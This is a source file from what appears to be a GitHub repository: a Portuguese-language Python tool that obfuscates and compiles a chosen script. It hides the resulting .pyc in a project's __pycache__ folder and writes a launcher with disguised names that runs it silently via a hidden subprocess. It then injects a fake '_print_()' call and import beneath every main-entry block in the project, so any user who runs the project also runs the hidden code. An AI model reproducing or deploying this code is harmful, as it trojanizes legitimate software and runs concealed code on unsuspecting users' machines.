-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.py
282 lines (224 loc) · 11.9 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
import py_compile
import os
import shutil
import subprocess
from pystyle import Colors, Colorate, Center, Anime, System, Write
import re
import threading
import itertools
import time
from tabulate import tabulate
#______________________________________________ import Func
from func.find_largest_pycache import find_largest_pycache
from func.menu_builder import menu_builder
from func.print_intro import print_intro
from func.banner_intro import banner_intro
from func.move_pyc_to_largest_pycache import move_pyc_to_largest_pycache
#______________________________________________ import Func
done = False
def loading_animation():
for c in itertools.cycle(['|', '/', '-', '\\']):
if done:
break
Write.Print(f'\r[{c}] Compilando', Colors.red_to_yellow, interval=0)
time.sleep(0.1)
Write.Print('\r[+] Compilação Concluida!', Colors.red_to_yellow, interval=0)
def compile_python_file(file_path):
global done
done = False
if not os.path.isfile(file_path):
Write.Print(f"[e] Erro: Arquivo não encontrado: {file_path}\n", Colors.red_to_yellow, interval=0)
return None
if not file_path.endswith(('.py', '.pyw')):
Write.Print("[e] Erro: O arquivo deve ter a extensão .py ou .pyw\n", Colors.red_to_yellow, interval=0)
return None
try:
compiled_file_path = file_path + 'c' if file_path.endswith('.py') else file_path[:-1] + 'c'
loading_thread = threading.Thread(target=loading_animation)
loading_thread.start()
py_compile.compile(file_path, cfile=compiled_file_path, dfile=compiled_file_path, optimize=2)
start_time = time.time()
timeout = 60 # -================= Timeot :: Defalt 60
while not os.path.isfile(compiled_file_path):
if time.time() - start_time > timeout:
done = True
loading_thread.join()
Write.Print(f"[e] Tempo limite atingido. Arquivo compilado não encontrado: {compiled_file_path}\n", Colors.red_to_yellow, interval=0)
return None
time.sleep(0.1)
done = True
loading_thread.join()
Write.Print(f"\n[+] Arquivo compilado com sucesso: {compiled_file_path}\n", Colors.red_to_yellow, interval=0)
return compiled_file_path
except Exception as e:
done = True
loading_thread.join()
Write.Print(f"[e] Ocorreu um erro ao compilar o arquivo: {e}\n", Colors.red_to_yellow, interval=0)
return None
def create_requirements_file(project_path):
try:
result = subprocess.run(['pipreqs', project_path, '--force'], capture_output=True, text=True)
if result.returncode == 0:
Write.Print(f"[+] Arquivo requirements.txt criado em: {project_path}\n", Colors.red_to_yellow, interval=0)
else:
Write.Print(f"[e] Erro ao criar requirements.txt: {result.stderr}\n", Colors.red_to_yellow, interval=0)
except FileNotFoundError:
Write.Print("[e] pipreqs não está instalado. Instale com 'pip install pipreqs'.\n", Colors.red_to_yellow, interval=0)
def create_launcher_script(pyc_path):
current_dir = os.path.dirname(pyc_path)
parent_dir = os.path.abspath(os.path.join(current_dir, os.pardir))
launcher_path = os.path.join(parent_dir, "launcher.py")
with open(launcher_path, 'w', encoding='utf-8') as f:
f.write(f"""
import subprocess as prints
from subprocess import Popen as cud
def _OOOO00OO0OOO000OO ():
prints .cud (['python',r'{pyc_path}'],stdout =prints .PIPE ,stderr =prints .PIPE ,shell =True )
""")
Write.Print(f"[+] Arquivo launcher.py criado em: {launcher_path}\n", Colors.red_to_yellow, interval=0)
return launcher_path
def extract_imports(file_path):
import_lines = []
with open(file_path, 'r', encoding='utf-8') as file:
for line in file:
if re.match(r'^\s*(import|from)\s+\S+', line):
import_lines.append(line)
return ''.join(import_lines)
def obfuscate_file(file_path):
obfuscated_file_path = "stub.py"
imports = extract_imports(file_path)
with open('./OBF/obf.py', 'r', encoding='utf-8') as file:
obf_script = file.read()
obf_script = re.sub(
r"py_Modules\s*=\s*r'''\s*'''",
f"py_Modules = r'''\n{imports}\n'''",
obf_script
)
with open('./OBF/obf.py', 'w', encoding='utf-8') as file:
file.write(obf_script)
result = subprocess.run(['python', './OBF/obf.py', file_path, obfuscated_file_path], capture_output=True, text=True)
if result.returncode != 0:
Write.Print(f"[e] Erro ao ofuscar o arquivo: {result.stderr}\n\n[Erro] ", Colors.red_to_yellow, interval=0)
return None
return obfuscated_file_path
def main():
project_path = Write.Input("[>] Digite o caminho do projeto Python: ", Colors.red_to_yellow, interval=0.0025)
file_path = Write.Input("[>] Digite o caminho do arquivo .py para compilar: ", Colors.red_to_yellow, interval=0.0025)
should_obfuscate = Write.Input("[?] Deseja ofuscar o arquivo antes de compilar? (s/n): ", Colors.red_to_yellow, interval=0.0025).strip().lower()
if should_obfuscate == 's':
original_file_path = file_path
file_path = obfuscate_file(file_path)
if file_path is None:
Write.Print("[!] Ofuscação falhou. Compilação abortada.\n", Colors.red_to_yellow, interval=0)
return
largest_pycache = find_largest_pycache(project_path)
compiled_file_path = compile_python_file(file_path)
if should_obfuscate == 's' and compiled_file_path:
base_name = os.path.basename(original_file_path)
if base_name.endswith('.pyw'):
base_name = base_name[:-1]
final_pyc_path = compiled_file_path.replace('stub.pyc', base_name + 'c')
os.rename(compiled_file_path, final_pyc_path)
else:
final_pyc_path = compiled_file_path
if final_pyc_path is None:
return
moved_pyc_path = move_pyc_to_largest_pycache(final_pyc_path, largest_pycache)
if moved_pyc_path:
launcher_path = create_launcher_script(moved_pyc_path)
if launcher_path is not None:
insert_print_function(project_path, launcher_path)
should_create_requirements = Write.Input("[?] Deseja criar um arquivo requirements.txt para o projeto? (y/n): ", Colors.red_to_yellow, interval=0.0025).strip().lower()
if should_create_requirements == 'y':
create_requirements_file(project_path)
def update_imports_for_print_function(file_paths, launcher_path):
if not all(isinstance(path, str) for path in file_paths):
raise ValueError("file_paths deve ser uma lista de caminhos de arquivos em formato de string.")
launcher_dir = os.path.dirname(launcher_path)
common_path = os.path.commonpath(file_paths)
if not common_path:
raise ValueError("Não foi possível determinar um caminho comum entre os arquivos.")
relative_path = os.path.relpath(launcher_dir, common_path)
module_path = os.path.join(relative_path, 'launcher').replace(os.sep, '.').strip('.')
for file_path in file_paths:
with open(file_path, 'r+', encoding='utf-8') as f:
content = f.readlines()
existing_imports = any(re.match(r'^\s*from\s+.*\s+import\s+_print_', line) for line in content)
if not existing_imports:
content.insert(0, f"from {module_path} import _print_\n")
f.seek(0)
f.writelines(content)
f.truncate()
Write.Print(f"[+] Importação para _print_() adicionada no arquivo: {file_path}", Colors.red_to_yellow, interval=0)
def insert_print_function(project_path, launcher_path):
files_to_update = []
for root, dirs, files in os.walk(project_path):
for file in files:
if file.endswith('.py'):
file_path = os.path.join(root, file)
with open(file_path, 'r+', encoding='utf-8') as f:
content = f.readlines()
matches = []
for i, line in enumerate(content):
if re.match(r'^\s*if\s+__name__\s*==\s*[\'"]__main__[\'"]\s*:', line):
indent = ' ' * (len(line) - len(line.lstrip()))
matches.append((i, indent))
if matches:
files_to_update.append((file_path, matches))
if not files_to_update:
Write.Print("[!] Não foi encontrado 'if __name__ == \"__main__\":' em nenhum arquivo do projeto.\n", Colors.red_to_yellow, interval=0)
return
if len(files_to_update) == 1:
file_path, matches = files_to_update[0]
with open(file_path, 'r+', encoding='utf-8') as f:
content = f.readlines()
for i, indent in matches:
content.insert(i + 1, f"{indent} _print_()\n")
f.seek(0)
f.writelines(content)
f.truncate()
Write.Print(f"[+] Chamada _print_() adicionada no arquivo: {file_path}\n", Colors.red_to_yellow, interval=0)
else:
Write.Print("\n[!] Encontrados arquivos com 'if __name__ == \"__main__\":':\n\n", Colors.red_to_yellow, interval=0)
table_data = []
for idx, (file_path, matches) in enumerate(files_to_update):
for i, indent in matches:
table_data.append([idx + 1, file_path, i + 1])
table_headers = ["# ", "Arquivo", "Linha"]
Write.Print(tabulate(table_data, headers=table_headers, tablefmt='grid'), Colors.red_to_yellow, interval=0)
user_input = Write.Input("\n\n[>] Digite o número do arquivo para adicionar _print_() ou 'all' para todos ou uma lista separada por vírgula (ex: 1,2): ", Colors.red_to_yellow, interval=0.0025).strip()
if user_input.lower() == 'all':
for file_path, matches in files_to_update:
with open(file_path, 'r+', encoding='utf-8') as f:
content = f.readlines()
for i, indent in matches:
content.insert(i + 1, f"{indent} _print_()\n")
f.seek(0)
f.writelines(content)
f.truncate()
Write.Print("[+] Chamada _print_() adicionada a todos os arquivos.\n", Colors.red_to_yellow, interval=0)
else:
try:
selected_indices = list(map(int, user_input.split(',')))
selected_files = [files_to_update[i - 1] for i in selected_indices if 1 <= i <= len(files_to_update)]
except ValueError:
Write.Print("[e] Entrada inválida. Por favor, insira números válidos.\n", Colors.red_to_yellow, interval=0)
return
if not selected_files:
Write.Print("[!] Nenhum arquivo válido selecionado.\n", Colors.red_to_yellow, interval=0)
return
for file_path, matches in selected_files:
with open(file_path, 'r+', encoding='utf-8') as f:
content = f.readlines()
for i, indent in matches:
content.insert(i + 1, f"{indent} _print_()\n")
f.seek(0)
f.writelines(content)
f.truncate()
Write.Print(f"[+] Chamada _print_() adicionada no arquivo: {file_path}\n", Colors.red_to_yellow, interval=0)
update_imports_for_print_function([file_path for file_path, _ in files_to_update], launcher_path)
if __name__ == "__main__":
menu_builder()
print_intro()
banner_intro()
main()